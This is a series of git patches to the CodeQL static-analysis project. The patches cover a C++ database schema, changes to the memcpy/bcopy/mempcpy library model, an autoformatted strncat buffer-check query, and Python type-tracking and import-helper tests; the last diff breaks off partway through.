3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // EDG internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + ; + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. + */ +#keyset[aggregate, field] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. + */ +#keyset[aggregate, element_index] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@runtime_sizeof_or_alignof = @runtime_sizeof | @runtime_alignof; + +sizeof_bind( + unique int expr: @runtime_sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt ref +); + +if_else( + unique int if_stmt: @stmt_if ref, + int else_id: @stmt ref +); + +constexpr_if_then( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int then_id: @stmt ref +); + +constexpr_if_else( + unique int constexpr_if_stmt: @stmt_constexpr_if ref, + int else_id: @stmt ref +); + +while_body( + unique int while_stmt: @stmt_while ref, + int body_id: @stmt ref +); + +do_body( + unique int do_stmt: @stmt_end_test_while ref, + int body_id: @stmt ref +); + +#keyset[switch_stmt, index] +switch_case( + int switch_stmt: @stmt_switch ref, + int index: int ref, + int case_id: @stmt_switch_case ref +); + +switch_body( + unique int switch_stmt: @stmt_switch ref, + int body_id: @stmt ref +); + +for_initialization( + unique int for_stmt: @stmt_for ref, + int init_id: @stmt ref +); + +for_condition( + unique int for_stmt: @stmt_for ref, + int condition_id: @expr ref +); + +for_update( + unique int for_stmt: @stmt_for ref, + int update_id: @expr ref +); + +for_body( + unique int for_stmt: @stmt_for ref, + int body_id: @stmt ref +); + +@stmtparent = @stmt | @expr_stmt ; +stmtparents( + unique int id: @stmt ref, + int index: int ref, + int parent: @stmtparent ref +); + +ishandler(unique int block: @stmt_block ref); + +@cfgnode = @stmt | @expr | @function | @initialiser ; + +stmt_decl_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl: @declaration ref +); + +stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@functionorblock = @function | @stmt_block; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @functionorblock ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + unique int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/upgrades/c82db4c596b8979eba9a8958e24353a5756d7a02/upgrade.properties b/cpp/upgrades/c82db4c596b8979eba9a8958e24353a5756d7a02/upgrade.properties new file mode 100644 index 00000000000..df9dcbdef5e --- /dev/null +++ b/cpp/upgrades/c82db4c596b8979eba9a8958e24353a5756d7a02/upgrade.properties @@ -0,0 +1,3 @@ +description: Change decltype keysets +compatibility: backwards + From 066f83630d6020ccffe2e796a3ea4461be7fe845 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Wed, 27 Jan 2021 18:07:14 +0100 Subject: [PATCH 0876/1241] C++: bcopy can never be in the std namespace. --- .../src/semmle/code/cpp/models/implementations/Memcpy.qll | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll index 813c2834586..4ba7f40dd92 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll @@ -18,22 +18,22 @@ private class MemcpyFunction extends ArrayFunction, DataFlowFunction, SideEffect // memcpy(dest, src, num) // memmove(dest, src, num) // memmove(dest, src, num, remaining) - this.hasName(["memcpy", "memmove", "__builtin___memcpy_chk"]) + this.hasGlobalOrStdName(["memcpy", "memmove"]) or // bcopy(src, dest, num) - this.hasGlobalOrStdName("bcopy") + this.hasGlobalName(["bcopy", "__builtin___memcpy_chk"]) } /** * Gets the index of the parameter that is the source buffer for the copy. */ - int getParamSrc() { if this.hasGlobalOrStdName("bcopy") then result = 0 else result = 1 } + int getParamSrc() { if this.hasGlobalName("bcopy") then result = 0 else result = 1 } /** * Gets the index of the parameter that is the destination buffer for the * copy. */ - int getParamDest() { if this.hasGlobalOrStdName("bcopy") then result = 1 else result = 0 } + int getParamDest() { if this.hasGlobalName("bcopy") then result = 1 else result = 0 } /** * Gets the index of the parameter that is the size of the copy (in bytes). From 5aff5c32542ea7167061255793bde4c7207e880a Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Wed, 27 Jan 2021 18:12:02 +0100 Subject: [PATCH 0877/1241] C++: Add AliasFunction model to MemcpyFunction. --- .../cpp/models/implementations/Memcpy.qll | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll index 4ba7f40dd92..9ceff32d128 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll @@ -6,6 +6,7 @@ import semmle.code.cpp.Function import semmle.code.cpp.models.interfaces.ArrayFunction import semmle.code.cpp.models.interfaces.DataFlow +import semmle.code.cpp.models.interfaces.Alias import semmle.code.cpp.models.interfaces.SideEffect import semmle.code.cpp.models.interfaces.Taint @@ -13,7 +14,8 @@ import semmle.code.cpp.models.interfaces.Taint * The standard functions `memcpy`, `memmove` and `bcopy`; and the gcc variant * `__builtin___memcpy_chk`. */ -private class MemcpyFunction extends ArrayFunction, DataFlowFunction, SideEffectFunction { +private class MemcpyFunction extends ArrayFunction, DataFlowFunction, SideEffectFunction, + AliasFunction { MemcpyFunction() { // memcpy(dest, src, num) // memmove(dest, src, num) @@ -82,4 +84,19 @@ private class MemcpyFunction extends ArrayFunction, DataFlowFunction, SideEffect i = getParamSrc() ) } + + override predicate parameterNeverEscapes(int index) { + index = getParamSrc() + or + this.hasGlobalName("bcopy") and index = getParamDest() + } + + override predicate parameterEscapesOnlyViaReturn(int index) { + not this.hasGlobalName("bcopy") and index = getParamDest() + } + + override predicate parameterIsAlwaysReturned(int index) { + not this.hasGlobalName("bcopy") and + index = getParamDest() + } } From aec18e71230ccd34390003b6f9e5386d1b0d8305 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Wed, 27 Jan 2021 18:12:32 +0100 Subject: [PATCH 0878/1241] C++: Add mempcpy to MemcpyFunction model class. --- .../src/semmle/code/cpp/models/implementations/Memcpy.qll | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll index 9ceff32d128..df6c27b2187 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Memcpy.qll @@ -23,7 +23,8 @@ private class MemcpyFunction extends ArrayFunction, DataFlowFunction, SideEffect this.hasGlobalOrStdName(["memcpy", "memmove"]) or // bcopy(src, dest, num) - this.hasGlobalName(["bcopy", "__builtin___memcpy_chk"]) + // mempcpy(dest, src, num) + this.hasGlobalName(["bcopy", mempcpy(), "__builtin___memcpy_chk"]) } /** @@ -96,7 +97,9 @@ private class MemcpyFunction extends ArrayFunction, DataFlowFunction, SideEffect } override predicate parameterIsAlwaysReturned(int index) { - not this.hasGlobalName("bcopy") and + not this.hasGlobalName(["bcopy", mempcpy()]) and index = getParamDest() } } + +private string mempcpy() { result = ["mempcpy", "wmempcpy"] } From c90dc62cc49e20fdd71d5e7befe707ef19cc6247 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Wed, 27 Jan 2021 18:57:09 +0100 Subject: [PATCH 0879/1241] C++: Autoformat. --- .../AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql index b40b9c74ebe..5311ffe2708 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-788/AccessOfMemoryLocationAfterEndOfBufferUsingStrncat.ql @@ -38,7 +38,8 @@ class WrongCallStrncat extends FunctionCall { */ predicate isExpressionEqualSizeof() { // the left side of the expression `someExpr` is `sizeof(buf)`. - globalValueNumber(this.getArgument(0)) = globalValueNumber(leftsomeExpr.(SizeofExprOperator).getExprOperand()) + globalValueNumber(this.getArgument(0)) = + globalValueNumber(leftsomeExpr.(SizeofExprOperator).getExprOperand()) or // value of the left side of the expression `someExpr` equal `sizeof(buf)` value, and `buf` is array. leftsomeExpr.getValue().toInt() = this.getArgument(0).getType().getSize() From 44bb41e84b9393da0fd681697f8fa1ce8c2aa9c3 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Wed, 27 Jan 2021 19:06:51 +0100 Subject: [PATCH 0880/1241] Python: Add extra type-tracking test for "long" import chain While trying to debug an other problem related to full import of django view, I stumbled upon this oddity. (yikes) --- .../dataflow/typetracking/test.py | 19 +++++ .../dataflow/typetracking/tracked.ql | 70 +++++++++++++++++++ 2 files changed, 89 insertions(+) diff --git a/python/ql/test/experimental/dataflow/typetracking/test.py b/python/ql/test/experimental/dataflow/typetracking/test.py index b03a2e6912d..a797c302023 100644 --- a/python/ql/test/experimental/dataflow/typetracking/test.py +++ b/python/ql/test/experimental/dataflow/typetracking/test.py @@ -101,3 +101,22 @@ class Bar(Foo): self.meth1() # $ tracked_self super().meth2() super(Bar, self).foo3() # $ tracked_self + +# ------------------------------------------------------------------------------ +# Tracking of attribute lookup after "long" import chain +# ------------------------------------------------------------------------------ + +def test_long_import_chain(): + import foo.bar + foo.baz # $ SPURIOUS: tracked_foo_bar_baz + x = foo.bar.baz # $ tracked_foo_bar_baz + do_stuff(x) # $ tracked_foo_bar_baz + + class Example(foo.bar.baz): # $ tracked_foo_bar_baz + pass + + +def test_long_import_chain_full_path(): + from foo.bar import baz # $ tracked_foo_bar_baz + x = baz # $ tracked_foo_bar_baz + do_stuff(x) # $ tracked_foo_bar_baz diff --git a/python/ql/test/experimental/dataflow/typetracking/tracked.ql b/python/ql/test/experimental/dataflow/typetracking/tracked.ql index 4ce35a2d265..0797e484c97 100644 --- a/python/ql/test/experimental/dataflow/typetracking/tracked.ql +++ b/python/ql/test/experimental/dataflow/typetracking/tracked.ql @@ -3,6 +3,9 @@ import semmle.python.dataflow.new.DataFlow import semmle.python.dataflow.new.TypeTracker import TestUtilities.InlineExpectationsTest +// ----------------------------------------------------------------------------- +// tracked +// ----------------------------------------------------------------------------- DataFlow::Node tracked(TypeTracker t) { t.start() and result.asCfgNode() = any(NameNode n | n.getId() = "tracked") @@ -28,6 +31,9 @@ class TrackedTest extends InlineExpectationsTest { } } +// ----------------------------------------------------------------------------- +// int + str +// ----------------------------------------------------------------------------- DataFlow::Node int_type(TypeTracker t) { t.start() and result.asCfgNode() = any(CallNode c | c.getFunction().(NameNode).getId() = "int") @@ -74,6 +80,9 @@ class TrackedStringTest extends InlineExpectationsTest { } } +// ----------------------------------------------------------------------------- +// tracked_self +// ----------------------------------------------------------------------------- DataFlow::Node tracked_self(TypeTracker t) { t.start() and exists(Function f | @@ -102,3 +111,64 @@ class TrackedSelfTest extends InlineExpectationsTest { ) } } + +// ----------------------------------------------------------------------------- +// tracked_foo_bar_baz +// ----------------------------------------------------------------------------- +// This modeling follows the same pattern that we currently use in our real library modeling. +/** Gets a reference to `foo` (fictive module). */ +private DataFlow::Node foo(DataFlow::TypeTracker t) { + t.start() and + result = DataFlow::importNode("foo") + or + exists(DataFlow::TypeTracker t2 | result = foo(t2).track(t2, t)) +} + +/** Gets a reference to `foo` (fictive module). */ +DataFlow::Node foo() { result = foo(DataFlow::TypeTracker::end()) } + +/** Gets a reference to `foo.bar` (fictive module). */ +private DataFlow::Node foo_bar(DataFlow::TypeTracker t) { + t.start() and + result = DataFlow::importNode("foo.bar") + or + t.startInAttr("bar") and + result = foo() + or + exists(DataFlow::TypeTracker t2 | result = foo_bar(t2).track(t2, t)) +} + +/** Gets a reference to `foo.bar` (fictive module). */ +DataFlow::Node foo_bar() { result = foo_bar(DataFlow::TypeTracker::end()) } + +/** Gets a reference to `foo.bar.baz` (fictive attribute on `foo.bar` module). */ +private DataFlow::Node foo_bar_baz(DataFlow::TypeTracker t) { + t.start() and + result = DataFlow::importNode("foo.bar.baz") + or + t.startInAttr("baz") and + result = foo_bar() + or + exists(DataFlow::TypeTracker t2 | result = foo_bar_baz(t2).track(t2, t)) +} + +/** Gets a reference to `foo.bar.baz` (fictive attribute on `foo.bar` module). */ +DataFlow::Node foo_bar_baz() { result = foo_bar_baz(DataFlow::TypeTracker::end()) } + +class TrackedFooBarBaz extends InlineExpectationsTest { + TrackedFooBarBaz() { this = "TrackedFooBarBaz" } + + override string getARelevantTag() { result = "tracked_foo_bar_baz" } + + override predicate hasActualResult(Location location, string element, string tag, string value) { + exists(DataFlow::Node e | + e = foo_bar_baz() and + // Module variables have no sensible location, and hence can't be annotated. + not e instanceof DataFlow::ModuleVariableNode and + tag = "tracked_foo_bar_baz" and + location = e.getLocation() and + value = "" and + element = e.toString() + ) + } +} From 0d42e546a07f180ce5a9e3e4852cd06b10fab107 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Wed, 27 Jan 2021 19:08:50 +0100 Subject: [PATCH 0881/1241] Python: Add deep import chain to import-helper tests --- .../experimental/dataflow/import-helper/ImportHelper.expected | 4 ++++ .../ql/test/experimental/dataflow/import-helper/test_deep.py | 3 +++ 2 files changed, 7 insertions(+) create mode 100644 python/ql/test/experimental/dataflow/import-helper/test_deep.py diff --git a/python/ql/test/experimental/dataflow/import-helper/ImportHelper.expected b/python/ql/test/experimental/dataflow/import-helper/ImportHelper.expected index 9d263331f6a..a30908932da 100644 --- a/python/ql/test/experimental/dataflow/import-helper/ImportHelper.expected +++ b/python/ql/test/experimental/dataflow/import-helper/ImportHelper.expected @@ -21,3 +21,7 @@ | test7.py:5:8:5:16 | ControlFlowNode for ImportExpr | mypkg.foo | | test7.py:9:6:9:10 | ControlFlowNode for ImportExpr | mypkg | | test7.py:9:19:9:21 | ControlFlowNode for ImportMember | mypkg.foo | +| test_deep.py:1:6:1:21 | ControlFlowNode for ImportExpr | start.middle.end | +| test_deep.py:1:6:1:21 | ControlFlowNode for ImportExpr | start.middle.end | +| test_deep.py:1:30:1:32 | ControlFlowNode for ImportMember | start.middle.end.foo | +| test_deep.py:1:35:1:37 | ControlFlowNode for ImportMember | start.middle.end.bar | diff --git a/python/ql/test/experimental/dataflow/import-helper/test_deep.py b/python/ql/test/experimental/dataflow/import-helper/test_deep.py new file mode 100644 index 00000000000..49c4bc6c184 --- /dev/null +++ b/python/ql/test/experimental/dataflow/import-helper/test_deep.py @@ -0,0 +1,3 @@ +from start.middle.end import foo, bar +print(foo) +print(bar) From 5646af56dd5a9bc3c11f02ccd9151c6243b17e04 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Wed, 27 Jan 2021 19:11:55 +0100 Subject: [PATCH 0882/1241] Python: Fix too many results from DataFlow::importNode --- .../semmle/python/dataflow/new/internal/DataFlowUtil.qll | 8 +++++++- .../dataflow/import-helper/ImportHelper.expected | 4 ---- python/ql/test/experimental/dataflow/typetracking/test.py | 2 +- 3 files changed, 8 insertions(+), 6 deletions(-) diff --git a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowUtil.qll b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowUtil.qll index 8c9daf0c8d8..174564db96b 100644 --- a/python/ql/src/semmle/python/dataflow/new/internal/DataFlowUtil.qll +++ b/python/ql/src/semmle/python/dataflow/new/internal/DataFlowUtil.qll @@ -68,5 +68,11 @@ Node importNode(string name) { // Because named imports are modelled as `AttrRead`s, the statement `from foo import bar as baz` // is interpreted as if it was an assignment `baz = foo.bar`, which means `baz` gets tracked as a // reference to `foo.bar`, as desired. - result.asCfgNode().getNode() = any(ImportExpr i | i.getName() = name) + exists(ImportExpr imp_expr | + imp_expr.getName() = name and + result.asCfgNode().getNode() = imp_expr and + // in `import foo.bar` we DON'T want to give a result for `importNode("foo.bar")`, + // only for `importNode("foo")`. We exclude those cases with the following clause. + not exists(Import imp | imp.getAName().getValue() = imp_expr) + ) } diff --git a/python/ql/test/experimental/dataflow/import-helper/ImportHelper.expected b/python/ql/test/experimental/dataflow/import-helper/ImportHelper.expected index a30908932da..11608b04ab8 